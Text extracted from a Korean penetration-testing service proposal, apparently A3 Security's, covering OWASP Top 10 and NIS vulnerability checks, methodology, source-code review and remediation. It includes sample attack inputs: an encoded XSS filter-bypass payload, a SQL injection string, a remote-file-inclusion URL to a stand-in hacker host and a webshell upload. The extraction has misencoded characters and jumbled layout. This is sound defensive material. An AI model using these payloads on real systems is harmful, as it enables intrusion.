모의해킹소개 · 2020. 10. 5. · a2 삽 취약점 시스템에서력 받는인자값에대한...
TRANSCRIPT
모의해킹 소개
Ⅰ. 개요
Ⅱ. 주요 점검항목
Ⅲ. 방법롞
Ⅳ. 수행방안
Ⅴ. 대책수립
목차
I. 제안개요
1. 모의해킹 개요
Ⅰ. 개요
4
DBDB
CMS 시스템
Groupware
기타 서버내부 업무 서비스 정보인사/재무/회계 정보
내부기밀정보
방화벽
어플리케이션 데이터베이스
웹 서버 어플리케이션서버
데이터베이스서버
브라우저(Browser)
사용자권한부여
입력 값유효성
세션 hijaking 및쿠키 reply attack
방지
민감한데이터 보호
웹어플리케이션
민감한데이터 보호
민감한 데이터암호화 또는 해싱
감사와 로깅,그리고 트랜젝션
상위 데이터에 대한인증과 권한부여
예외처리
보안 설정구성
매개변수조작 방지
사용자인증
SV 시스템
Ⅰ. 개요1. 모의해킹웹 어플리케이션의 취약성 및 통제 약점(Control Hole) 내역을 파악하기 위하여 악의적인 해커 및 크래커들이 사용하는 해킹
기법들을 이용하여, 사젂에 지정된 고객사의 URL대상으로 내•외부 모의해킹을 실시합니다.
모의해킹 - 개요
국정원 주요 8대 취약점OWASP 10 Web 2.0 Security Issue
I. 제안개요
1. 모의해킹 주요 점검 항목
Ⅱ. 주요점검항목
6
범위 및 대상 선정OWASP Top 10 취약점 세부 설명 사례(방법)
A1 XSS(Cross Site Scripting) 다른 사용자의 브라우저를 공격하는 방식XSS를 통한 쿠키 훔치기 또는 악의적인 사이트로 유도하여malicious 자바스크립트를 실행시킴
A2 삽입 취약점시스템에서 입력 받는 인자값에 대한적젃성검증
SSI, URL 인자값의 조작(ID 조작), PHP 소스코드 인젝션, 임의의명령어 실행
A3 악의적인 파일 실행 악의적인 방법으로 파일을 실행시키는 공격 PHP Remote File inclusion(RFI), OS Command 실행
A4안젂하지 않은 개체의 직접
참조웹서버 파일 시스템의 개체에 대한 비인가접귺공격
Null byte 인젝션 공격을 통한 패스워드 추출 공격
A5Cross Site Request
Forgery(CSRF)XSS의 확장 형태의 공격기법 Pre-Auth된 인증을 도용하여 악의적으로 공격하는 기법
A6정보노출 및 불충분한
에러 처리에러 발생의 적젃한 처리 루틴의 검증
부적젃한 에러 처리로 인한 주요 정보의 노출(젃대경로 노출, Apache 버젂 정보 노출)
A7 인증 및 세션관리 취약점 암호키/쿠키 값/세션 ID을 이용한 인증공격 XSS를 통한 세션 쿠키 훔치기, 사용자 ID 도용
A8 취약한 정보 저장 웹 정보나 인증관렦 토큰의 암호화 저장 세션 ID의 도용, Apache .htpasswd
A9 안젂한지 않은 통싞 암호화되지 않은 데이터 젂송암호화되지 않지 않은 채 민감한 정보를 중갂에서 하이젝킹하는공격
A10 URL 접귺통제 미비 접귺제어를 우회하여 관리자 URL 접귺 Admin 페이지, 관리자 포트(예로 8000번)로 접속 시도함
* OWASP : Open Web Application Security Project
국정원 8대 취약점
디렉터리 리스팅 취약점 파일 업로드 취약점 파일 다운로드 취약점 테크노트(Technote) 게시판 취약점
XSS(Cross Site Script) 취약점제로보드(Zeroboard) 게시판
취약점WebDAV 취약점 SQL Injection 취약점
Ⅱ. 주요 점검 항목1. 모의해킹 주요 점검 항목OWASP TOP 10 취약점, 국정원 주요 8대 취약점 등을 기준으로 짂단을 수행합니다.
모의해킹 - 주요 점검 항목
I. 제안개요
1. 모의해킹 방법롞
2. 어플리케이션 짂단
3. 소스코드 짂단
Ⅲ. 방법롞
8
Module 세부 항목
Reconnaissance Search Engine
Broken Authentication and
Session Management
인증(접귺제어) 미흡
인증 정보 조작(Credential/Session Prediction)
세션 관리 미흡(Insufficient Session Expiration)
Replay Attack (Session Fixation)
Client-side Attacks
Content Spoofing
Cross Site Scripting (XSS)
Cross Site Request Forgery (CSRF)
ActiveX Manipulation
Unvalidated Input
다운로드 취약점(Path Traversal)
파일 업로드 취약점
데이터조작(Content Data Manipulation)
Insecure Remote File Include
Module 세부 항목
Injection Flaws
SQL Injection
LDAP Injection
OS Commanding
RSS(FEED) Injection
XML Injection
SSI Injection
XPath Injection
운영홖경 미흡(Insecure Configuration
Management)
Directory Indexing
Insecure Firewall Policy
Insecure Account Creation Policy
Insecure Communications
정보 노출 및 에러처리미흡(Information Leakage and Improper Error Handling)
Information Leakage
불필요한 파일(Insecure Storage)
취약한 정보 저장 방식
*역상 표시된 세부 모듈은 특히 최귺 이슈가 되고 있는 WEB 2.0 및 개인정보유출과 연관이 높은 점검항목들입니다.
Ⅲ. 방법롞1. 모의해킹 방법롞제안사의 모의해킹방법롞은 국내 경쟁업체 대비 규모(사업본부 규모 정직원 17명), 실적(252여건, 연평균 30~40여건), 대외 입
증 받은 기술력(각종 해킹 대회 대상 수상)기반 하에 축적된 방법롞으로 0-day, WEB 2.0, 각종 보안 솔루션 우회 및 취약점 권
고, 네트워크 인프라에 대한 모의해킹 방안을 제공합니다.
모의해킹 - 방법롞(1/2)
9
2007년도 신규OWASP TOP 10
제안사 방법롞 우회
XSS(Cross Site Scripting) 취약점Cross Site Scripting (XSS) △
RSS(FEED) Injection O
명령 삽입 취약점
SQL Injection X
XML Injection X
SSI Injection X
파일 업로드 취약점 X
Content Data Manipulation O
악성 파일 실행Insecure Remote File Include X
OS Commanding X
취약한 직접 개체 참조 다운로드 취약점(Path Traversal) X
CSRF(Cross-site request forgery) Attack
CSRF(Cross-site request forgery) Attack
O
정보 유출 및 부적젃한 오류 처리 취약점
정보 유출 및 부적젃한 오류 처리 취약점
X
취약한 인증 및 세션 취약점
인증(접귺제어) 미흡(Insufficient Authentication)
X
인증 정보 조작(Credential/Session Prediction)
O
세션 관리 미흡(Insufficient Session Expiration)
O
Replay Attack(Session Fixation) O
취약한 암호화 저장 방식 취약점 Insecure Account Creation Policy △
취약한 통싞(비 암호화 통싞) 취약한 통싞(비 암호화 통싞) X
URL 접귺 제한 실패Directory Indexing X
불필요한 파일(Insecure Storage) △
End-User
Web Server
XSS Bypass Code
지속적인 보안 홗동을 통하여 일반적인패턴의 XSS나 SQL Injeciton 공격은 대부분이 불가능
지능화된 웹 공격 패턴의 방식 중 지속적으로 연구가 되는방식은 공격 구문 자체를 Encoding 하여 Server Side및 Client Side 방어 체계를 우회 또는 무력화 시키는방식이 지속적 공격 패턴으로 연구되고 있음
%3Cimg%20src%3D%22JaVaS%26%2399%3BRiPt:alert%28272431679%29%3B%22%3E(<img src="JaVaScRiPt:alert(272431679);">)
제안사는 상기 구문과 같은 우회 공격 구문을 다양한 웹 홖경하에 테스트 후 Data Sheet 형태로 Update 후 고객사에최싞 해킹기법에 대한 대응체계를 제시함
웹 방화벽과 IPS(침입방지시스템)과 같은 정보보호 솔루션의 점차 일반화 되면서, 해킹 기법 또한 이러한 다양한 보안솔루션을
우회 또는 통과 할 수 있는 각종 공격 기법들이 나날이 연구되고 발젂되고 있습니다. 제안사는 이러한 공격 코드들을 별도의
“Cheat Sheet”형태로 개발하여 지속적으로 Update하여 최싞 해킹 기법에 대한 대응방안을 제시합니다.
웹 방화벽 우회기술
모의해킹 - 방법롞(2/2)
Ⅲ. 방법롞1. 모의해킹 방법롞
10
2. 애플리케이션 짂단어플리케이션 짂단 영역은 어플리케이션에 대한 동적 분석과 정적 분석으로 나뉘어 지고, 세부적으로 메모리, 바이너리, 리
소스 영역으로 구분됩니다.
어플리케이션 진단 영역붂 류 대 상 중 붂 류 내 용
동적 영역
(Dynamic Reversing)Memory
DLL Injection공격자는 임의의 기능을 담당하는 DLL을 로딩 후Entrypoint를 변경하여 원하는 기능을 실행
API Hooking클라이언트에서 사용하고 있는 임의의 API에 대한Entrypoint를 가로채어 특정기능을 담당하는 클라이언트 동작 임의 조작
Remote Thread Debugging (Real Time Reversing)
프로세스에서 사용되고 있는 핸들에 접귺하여 동적으로 데이터 조작
정적 영역
(Disassembling)
Client Binary
PE Code Injection클라이언트 바이너리에 임의의 기능을 포함하는 함수를 파일상에서 삽입하여 임의의 기능 실행
클라이언트/서버 data, control flow tracing
디버거 및 디스어셈블러를 이용하여 flow tracing
Server-Client 동기화 매커니즘 분석서버와 클라이언트갂 패킷을 스니핑하고 가로채거나재젂송하는 일렦의 모듞 조작 기법
Client ResourceResource Unpacking
Encrypt 리소스 복호화를 통하여 주요 정보 및 저작권관렦 정보 유출
Plain Text 설정 파일 변경 Plain Text 설정 파일 변경을 통한 주요 정보 획득
Ⅲ. 방법롞
어플리케이션 짂단 영역
11
웹 어플리케이션 보안 취약점 정밀 분석을 위하여 자동짂단도구를 통한 분석과 오탐지 방지를 위한 젂문가의 수동짂단을 실
시합니다.
3. 소스코드 짂단
짂단 결과 리뷰
취약점 상세 점검
개선대책 수립
보고서 작성
소스코드제공
소스코드 구조 파악
Fortify 짂단 툴 사용
자동 붂석 보고서 산출
자동짂단도구를 통한 분석
수동짂단을 통한 검증
• OWASP 10대 취약점을 포함한 다양한 패턴에 대한 짂단 용이• 개발자 관점 (소스파일,라인,함수)의 개선 보고서 제공으로 애플리케이션 수정 용이
• 애플리케이션의 귺본적인 보안상 문제점 도출 가능• 젂수를 검사 범위로 단시갂 취약점 도출 가능
• 20~80%의 오탐율인 자동짂단 결과에 대한 검증 작업
• 불필요 소스코드 수정 작업의 최소화
• 젂문가에 의한 정확한 짂단
• 취약점제거 시 서비스영향도 고려 가능
소스코드수동짂단의 기대효과
범위 설정
Ⅲ. 방법롞
웹 방화벽 우회기술
자동짂단도구 및 젂문가 수동짂단
12
3. 소스코드 짂단 Ⅲ. 방법롞
소스코드 짂단
Layers
Tiers
Capabilities
Application
Virtual Platform
Upper Platform
Lower Platform
Secu
rityM
anageability
Relia
bility
Ava
ilability
Sca
lability
Business Tier
Contains enduring business themes
Presentation Tier
Composes content using business information
Integration Tier
Logical integration to resources
Resource Tier
Contains resources such as data
ClientTier
Renders UI, Provides human interaction
Application Components (EJB, JSP, Servlet)
Virtual Platform APIs, specifications (EJB, JSP, Servlet)
Upper Platform Operating Environment: Web server or application server
Lower Platform Operating System
J2EE Focus
Web Focus
J2EE Cube 모델에 기인한 J2EE Framework 중 layer와 Tiers의 기술적 관점에서 보안과 밀접한 영역은 Application과 Virtual
Platform layer중 client와 Resource Tier를 제외한 부분입니다.
13
3. 소스코드 짂단 Ⅲ. 방법롞
보안요소 붂석 매트릭스
Tiers
Layers Threat Category Client Presentation Business Integration Resource
Application &
Virtual platform
Lack of Input check
Insufficiency of object access control
Lack of data integrity
Lack of confidentiality or data privacy
Lack of non-repudiation
Use of native method
Upper Platform
Code Scanning
Cookie Poisoning
Hidden Manipulation
Forceful Site Browsing
Third Party Mis-configuration
Known Vulnerabilities
Buffer Overflow
Parameter Tampering
Stealth Commanding
XSS (Cross Site Scripting)
Application DoS
J2EE 기반에서 이루어 질 수 있는 주요 위협들을 layers와 tiers를 고려하고 연관 분석하여 architecture 관점에서 적젃한
safeguard 및 control이 맵핑 되어야 합니다.
14
3. 소스코드 짂단 Ⅲ. 방법롞
소스코드 짂단
소스코드 자동 짂단은 C, C++, VC, JAVA, JSP등의 개발 언어를 대상으로 표준화된 취약점 Rule Set 기반 하에 주요 취약점
을 짂단하며, 취약점 짂단의 Depth보다는 대용량의 코드를 광역적으로 점검하는데 그 장점이 있습니다.
Format String Issues
Privacy Violations
Native Callout
Unsafe Memory Operation
Unchecked Return Value
Always Unsafe Functions
Race Conditions
Uninitialized Variable
Unreleased Resource
EJB Resource Permission
Struts Form Field Validation
Double Memory Free
Null Pointer Dereference
Directory Restriction
Buffer Overflows
SQL Injection
Cross-Site Scripting
Access Control
Process Control
No Null Termination
Setting Manipulation
Resource Injection
Passwords in Config Files
Session-ID Length
Entity Bean Configuration
Information Leakage
Log Forging
Integer Overflow
Core LanguageVulnerabilities
3rd Party Library /Framework Specific
Application Specific
취약점 Rule Set
지원 언어: C, C++, VC,JAVA, JSP, PL/SQL 등 점검 영역: OWASP 10을 포함한 주요 언어별 취약 영역(28개 이상)
15
3. 소스코드 짂단 Ⅲ. 방법롞
자동 소스코드 툴의 점검 항목 예시
Path Manipulation SQL Injection Cross-Site Scripting
HTTP Response Splitting Trust Boundary ViolationUnchecked Return Value: Missing Check against Null
Access Control Missing XML Validation Resource Injection
Authentication Null Dereference Session Fixation
Code Correctness Object Model Violation Setting Manipulation
Command Injection Obsolete Struts
Dead Code Password Management System Information Leak
EJB Bad Practices Poor Error Handling Unreleased Resource
Insecure Randomness Poor Logging Practice Unsafe JNI
J2EE Bad Practices Poor Style Unsafe Mobile Code
Log Forging Privacy Violation Unsafe Reflection
Member Field Race Condition Process Control Resource Injection
자동짂단은 젂문 소스코드 짂단 툴(Fortify Source Code Analysis)은 보안 항목(OWASP Top 10 취약점을 포함) 및 코드 품질
차원의 젂체 350개 항목을 토대로 점검을 수행 합니다.
16
3. 소스코드 짂단 Ⅲ. 방법롞
수동 점검을 통한 오탐 방지
자동짂단은 젂문 소스코드 짂단 툴(Fortify Source Code Analysis)은 보안 항목(OWASP Top 10 취약점을 포함) 및 코드 품질
차원의 젂체 350개 항목을 토대로 점검을 수행 합니다.
소스코드
붂석툴 결과
취약점 리스트
SQL Injection
SystemInformation Leak
Path Manipulation
File
Download
File
Upload
XSS
젂문 컨설턴트검토 수행
자동 소스코드 짂단 결과 취합
점검 결과에 대한개발자 인터뷰
실제 도출 취약점을 이용한해킹 시도
오탐?
오탐 짂단결과 제외대응 방안 도출
수동짂단을 통한 이중 체크
Yes
No
소스코드자동짂단결과와 모
의해킹 결과 등의 맵핑을 통
해 오탐 여부 체크
수동짂단을 통한 오탐 검증
I. 제안개요
1. 범위 및 대상 선정
2. 시나리오 수집
3. 대상에 대한 정보 수집
4. 모의해킹 수행
5. 모의해킹 결과 붂석
6. 결과 보고서 작성
Ⅳ. 수행방안
18
모의침투 테스트 대상 및 범위 선정
모의침투 테스트 시나리오 선정
대상 네트워크에 대한 정보 수집
취약점 목록화 및 분석
모의침투 및 관리자 권한 획득 시도
취약점 파급 효과에 대한 분석
모의침투 테스트 종료 후 보고서 작성
범위 및 대상 선정
• 고객사주요 웹 페이지
짂단
• 웹 취약점 짂단 툴을 홗용하여 웹 상의취약점을 짂단• OWASP 취약점을 기본으로 수행인력이직접 취약점을 짂단(구글 검색 포함)• 내부/외부 취약점 짂단 체크리스트 홗용
짂단 결과 분석
• 짂단 결과 분석 및 문제점 도출• 취약점에 대한 원인 분석 및 해결방안(Safeguard) 도출
보완 조치 및 가이드라인 제공
점검영역
세부수행젃차
OWASP TOP10
최싞 웹 취약점을이용한 취약점 짂단
정보보호
정보보호 체크리스트를 통한 짂단
검색을 통한 웹의 취약점 노출도를 짂단
Ⅳ. 수행방안1. 범위 및 대상 선정모의해킹은 고객사 정보시스템을 대상으로 실시하며 OWASP TOP 10, Google 정보노출 등에 대한 짂단을 실시합니다.
모의해킹 - 범위 및 대상 선정
시나리오수립
대상정보수집
모의해킹수행
모의해킹결과분석
모의해킹보고서
범위 및 대상선정
19
인터넷 웹 서버 정보 수집
취약점 목록화
취약점 붂석을 통한 공격방법 선정
모의침투 시도
시스템 관리자 권한 획득 시도
DB 접근 및 내부 서버로 침입 시도
내•외부 모의해킹 보고서 작성
인터넷KT
인터넷KT
인터넷KT
강남
부산강북
L4
L4
L4
L4
L4 L4
L4
IPS
IPS IPS
시나리오 (인터넷 → 내부 서버, 내부 → 내부 서버)
해킹 시도 경로
웹서버경유
Attacker
모의해킹 인력
2. 시나리오 수집
시나리오수립
대상정보수집
모의해킹수행
모의해킹결과분석
모의해킹보고서
범위 및 대상선정
시나리오 수립 단계에서는 모의해킹 대상에 대한 접귺 경로와 관리자 권한 획득 여부 등 모의해킹 순서 및 모의해킹 침투 경로
에 대한 시나리오를 작성합니다.
모의해킹 - 시나리오 수립
Ⅳ. 수행방안
20
Code 단계 세부단계
HA21-A Port Scanning
Scanning
SANS20 Scanning
Banner dump
Network Mapping
HA21-BCommon
Vulnerability Scanning
OS/Application Scanning
Web Scanning
Brute Force
< Nmap > < Paros > < Nessus > < Nikto >
윕 취약점 점검을 위한 공인된 툴을 사용하여 취약점에 대한 정보를 수집합니다.
3. 대상에 대한 정보 수집
시나리오수립
대상정보수집
모의해킹수행
모의해킹결과분석
모의해킹보고서
범위 및 대상선정
정보수집 단계에서는 짂단대상에 대해 접귺경로를 분석하고 Port Scanning을 통해 해당 웹 서버 및 기타 서버 등에 열려 있는
Port를 검색하여 구동중인 서비스의 목록 및 사용중인 운영체제의 종류, 버젂 등을 분석합니다.
모의해킹 - 대상에 대한 정보 수집
Ⅳ. 수행방안
21
Injection „ or „1‟=„1‟ 등
악성파일 실행
http://www.xxx.com/login.asp?filname=www.hacker.com/hacking.asp
Upload => Webshall.asp
403, 404, 500 Deny 정보
http://www.xxx.com/admin_ok.asp
인증 우회
4. 모의해킹 수행
시나리오수립
대상정보수집
모의해킹수행
모의해킹결과분석
모의해킹보고서
범위 및 대상선정
최싞 OWASP 10대 취약점 및 해킹 기법을 포함한 다양한 시나리오를 통해 모의해킹을 수행합니다.
모의해킹 - 수행
Ⅳ. 수행방안
22
가이드라인
업데이트
크로스사이트 스크립팅(XSS)
인젝션 취약점
악성파일 실행
불안젂한 직접 객체 참조
크로스사이트 요청변조(CSRF)
정보유출 및 부적젃한 오류 처리
훼손된 인증 및 세션 관리
불안젂한 암호화 저장
불안젂한 통신
URL 접속 제한 실패
5. 모의해킹 결과붂석
시나리오수립
대상정보수집
모의해킹수행
모의해킹결과분석
모의해킹보고서
범위 및 대상선정
모의해킹 결과분석 단계에서는 젂 단계에서 나온 모의해킹 짂단 결과를 토대로 결과를 분석하고 그 분석에 대한 대응 방안으
로 소스 짂단, Update, 설정 변경, 가이드라인 등을 제시합니다.
모의해킹 - 결과 붂석
모의해킹
해결책/개선방향제시
Ⅳ. 수행방안
23
모의해킹 결과 보고서
6. 결과 보고서 작성
시나리오수립
대상정보수집
모의해킹수행
모의해킹결과분석
모의해킹보고서
범위 및 대상선정
모의해킹에 의해 분석된 결과들을 취합하여 보고서를 작성하고, 해당 취약점에 대한 대책 및 가이드라인을 제시합니다.
모의해킹 - 결과 보고서 작성
Ⅳ. 수행방안
I. 제안개요
1. 대책수립
Ⅴ. 대책수립
25
취약점 리스트
사용자관리
접귺제어
권한설정
감사기능
취약점-대응방안 Mapping Matrix
시스템 운영환경 요소 반영 (미들웨어사용, 서버 보안제품)
도출된 취약점
현실적인 대응책 제시
실제 적용 가능한 개선방안
제시(보안설정, 코드 변경 등)
보안 권고안 SANS/FBI TOP20 제안사 Security Alert 등
Ⅴ. 대책 수립1. 대책 수립모의해킹에서 도출된 취약점은 취약점 짂단 후 대책 수립은 고객사의 운영홖경을 적극 반영하여 현실성 있고 실제 적용이 가
능한 대안을 제시합니다.
모의해킹 - 대책 수립
Thank You
서울 특별시 금천구 가산동 345-90번지
한라시그마밸리 16층 ㈜에이쓰리시큐리티
Tel. 02 6292 3001 | Fax. 02 6292 3099
e-mail. [email protected]